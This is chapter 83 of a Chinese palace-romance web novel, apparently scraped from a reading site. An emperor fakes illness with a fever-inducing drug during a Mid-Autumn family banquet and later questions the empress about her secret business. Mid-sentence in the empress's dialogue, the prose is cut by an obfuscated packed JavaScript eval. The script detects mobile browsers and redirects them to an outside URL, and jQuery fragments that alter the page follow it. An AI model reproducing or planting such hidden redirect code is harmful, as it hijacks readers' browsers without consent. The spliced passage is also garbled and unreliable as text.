83. 第 83 章

作品:《被迫与宿敌奉旨成婚后

    五日后画送回来时,我正与沈业商量今年中秋家宴要如何操办,我还从未经手过这么重要的宴会,简直要抓耳挠腮焦头烂额,沈业在案几一边批奏折,我在另一边看尚食局送来的菜品单子,一份今年的,一份去年的,都是女官写好的,只需我过目即可。


    我看不出什么名堂,沈业先笑了一声,我回头看去,他停笔合上奏折,接过单子看了几眼又还给我,悠悠道:“这不挺好的,家宴而已,不用太拘束。”


    我不禁感叹,果然这活还是得孟采瑶来啊,我就不是当皇后的料。


    心里想着,画院的内侍就把画送了过来,送画的小内侍道:“皇后娘娘送来的画已经装裱完成,还有一幅画是瑶夫人送来的,说是装裱后两幅一起送到芙蓉殿,皇后娘娘可要打开看看。”


    我笑道:“那就看看吧。”


    一幅是孟采瑶在芙蓉殿画的那张。另一幅依旧是我,却只有背影,盈盈而立隐约可见半张侧脸,没有戴凤冠,头发披散着用丝带束起来,广袖长裙,裙摆似是被风吹起般飘逸,区别于我平时所穿符合皇后服制的衣裙,这张画像上的服饰皆是白色,很是素净。


    “这张也好,我很喜欢。”


    赏过送画的内侍,我对沈业道:“怎么样,好看吗?”


    沈业端详着两幅画,目露欣赏:“采瑶的笔法向来细腻,画人惟妙惟肖,色彩更妙。这张好,雍容华贵又不失娇俏。”看到白衣那张时他不自觉皱了皱眉头:“这张也好,就是白衣太素。”


    “挺仙气的,一浓一淡正相宜。”我让沁馨把画挂在内室,以示重视。


    殿里的冰块化尽时,沈业的奏折也批完了,在芙蓉殿没人看他,他拿起一半切开的石榴靠在我身边剥着吃,他剥几颗石榴籽喂进我嘴里,捏了捏我的脸颊:“你是不是胖了?”


    我晃着扇子道:“最近是吃得多了,还总犯困,能吃能睡可不得长肉。”


    沈业对我略微圆润的脸来了兴趣,捧着我的脸捏了好几下,最后用力在我脸上嘬一口才罢休,我嫌弃地擦掉他的口水,朝他翻了好几个白眼。


    中秋家宴将近,沈业的身体一天不如一天,他困倦贪睡在后宫已不再是秘密,身体不好自然药也吃得更勤,换来的则是越发衰败的身体。


    家宴当日,三位王爷和长公主都受邀前来,长公主带着驸马小郡王赴宴,其他三位王爷没有成家,故而孤身前来,连一向深居后宫的太后也在宴上,她笑得从容不迫和蔼可亲,对晚辈而言完全是位慈爱的母亲。


    我和沈业同坐一席,随着时间流逝,沈业的额头渐渐沁出细密的汗珠,众人觥筹交错无人察觉他的异样,唯我能感受到他在抖,我在桌下紧紧握住他的手,他手心都是汗,比额上的汗还多。


    “皇帝这是怎么了?”太后忽然发问,吸引了众人的目光,“别是身子不适吧。”


    我忙遮掩道:“回太后,陛下这两日朝政繁忙睡得少,精神有些不济,不妨事的。”


    沈业喝杯酒缓了缓,亦向太后笑道:“多谢母后挂心,儿臣身体一向康健,倒是母后,该多注意自己的身子才是。”


    太后笑道:“皇帝操劳国事顾不上自己,这事该由皇后多上心,哀家才能放心。”


    “皇后尽职尽责,已经做得很好了。”沈业道,“母后深居后宫颐养天年,当少操些心才是。”


    沈业这话说得并不客气,太后勉强维持着笑容,底下嫔妃更无一人敢出声,殿中只余乐声和舞女衣裙翻飞的声响,不知疲倦地跳着舞着。


    一声清亮的女声响起,长公主朗声笑道:“母后说了这么多话只为关心三弟,看来儿臣和五弟六弟七弟是没人疼了,母后好偏心。”


    长公主适时的撒娇嗔怪打破尴尬,笑容重回太后面上,她笑道:“母后最疼的可就是你了,你这没良心的…”


    昭宁长公主是太宗皇帝唯一的女儿,她母妃不过是个昭仪,在长公主三岁那年去世,正好太后失了长子,为抚慰她的丧子之痛,太宗皇帝就把昭宁长公主送到太后身边抚养,直到沈璋出生后才另为她寻了养母。


    故而她算是皇子皇女中与太后关系最亲密的了。


    长公主低头一笑,她家小郡王已爬上太后的膝盖,搂着太后脖子叫皇祖母,太后不再理我与沈业,开始含饴弄孙。


    沈业喝了两杯酒后更显得脸色差,再有嫔妃敬酒他都推拒一概不喝,我想替他喝时他也不许我喝,理由是晚上要我伺候他,我喝醉了可不行。


    我端起一杯蜜水以袖挡唇:“你想得美。”


    我目视前方专心欣赏着舞蹈,莲步舞对舞者技艺要求极高,若非苦练多年,断不会有这般体态轻盈柔若无骨的姿态。


    我爱看歌舞,更爱看这种如同炫技的舞蹈,一心只在舞姬身上,忽觉手臂一沉,低头竟是沈业顺着衣袖捏我的手腕,我刚转过头看他,他就支着头咳了好几声,一副肺都要咳出来的模样。


    我在心里暗暗鄙夷,面上仍装作担忧给他倒水顺背,孟采瑶不知就里,连连问:“陛下身体不适,要不要找太医来看看?”


    沈业硬撑着说无事,孟采瑶担心之色不加掩饰地落在众人眼中,怎么看都不像是联手做戏。


    宴会散去,沈业依旧住在芙蓉殿,他倒真不是装的,等他脱下外袍我才发觉中衣上湿了一大片,无精打采地坐着。


    “是不是疼得厉害,脸也这么烫!”沈业和我完全是两个温度,摸着都快要熟了,我刚想吩咐人去传太医,他拉住我笑了两声:“我让徐津给我带了包发热的药,吃下去跟真病一模一样。”


    我无语,在他背上重重捶了几下。


    他道:“不过还是犯困恶心,毕竟那药伤身不是假的,这一个月吃下来明显感觉身体不如以前了。”


    我道:“差不多可以了吧,你再吃保不准真没命了,我可不想这么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203066|159659||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    快当太后。”


    听我调侃他,沈业靠在枕上闷笑,对我扬扬眉毛:“那不装了?”


    “不装了。”


    太医是在一刻钟后来的芙蓉殿,在殿外等了许久只听到殿里茶盏摔在地上发出脆响,沈业沙哑的声音在怒吼:“都滚出去,你们都巴不得朕死,朕好得很,用不着看太医,滚!”


    朱义掀开帘子出去,隐隐约约地声音从殿外传来:“陛下身子无恙,您请回吧,别多嘴让让人知道…”


    天子盛怒又不肯看太医,这样的消息就算封口也还是会被有心人传到太后的耳中,反倒真让人觉得沈业身体支撑不了多久,恼羞成怒死撑着罢了。


    沈业熬到半夜都不肯睡觉,他不睡也不让我睡,要我跟他一起玩双陆,让我听他说话,说他小时候读过的书,皇子要读什么文章看什么书他都能背得出来,最后说得口干舌燥,他也不想讲话,就拉着我去院里的凉棚里坐着。


    中秋的月亮又大又白,好像一个大糯米圆子,我倒在他怀里望着月亮不停打盹,茉莉的香味幽幽钻进鼻子,芙蓉殿外地古槐被风吹得哗哗响,我只觉得好凉快好香,风声格外催眠,不一会眼睛就闭上了。


    嘴巴凉凉软软的,沈业像小鸡啄米那样亲我,直到我醒了他才咧开嘴笑,继而更过分地亲来亲去。


    所幸他只是亲我没想做别的,我却真的困得睁不开眼,想跳下席子回寝殿,他胳膊长腿长,当空一捞就把我扛在肩上,一路走到床前才放下来。


    “听说你在外面做生意了?”沈业冷不丁道。


    “啊…”我睡意全无,绞尽脑汁在想他怎么知道的,但普天之下莫非王土,也瞒不了他多久,索性就承认了。


    “什么生意?”


    我若无其事道:“贩卖西境的宝石首饰,香粉,还有好皮货。”


    “你在宫里出不去,谁帮你打理的?”


    “哎呀,也不是我一个人的店。”我尽量让语气轻松些,显得自己不那么心虚,“康米娜是西凉人,她有货源也可以自己经营店面,我不过是出了点钱,再添个皇后的名头,摆平一些没必要的麻烦。”


    “………”


    “该交的税款我们都交了,账面也是干干净净的,没闹出什么乱子。”沈业脸色不好,我赶紧抱着他,上半身在他手臂上蹭来蹭去,撒娇耍赖试图蒙混过关。


    沈业淡淡道:“皇后每年俸禄一千两,除此之外节庆还有不少赏赐,平时有好东西我都给了你,还不够花?”


    “够是够…”


    但谁会嫌自己钱多呢,这些赏赐只能摆着看,又不能拿出去卖变不成真金白银。


    我把额头贴在沈业脸上,伸出腿压住他的腿哼哼唧唧道:“你就当不知道嘛,我绝对不惹事,不会给你添麻烦的。”


    沈业看着脸冷,实则最受不了我这般娇声娇气,最终还是故作冷漠地抱着我说:“你心里有数就好。”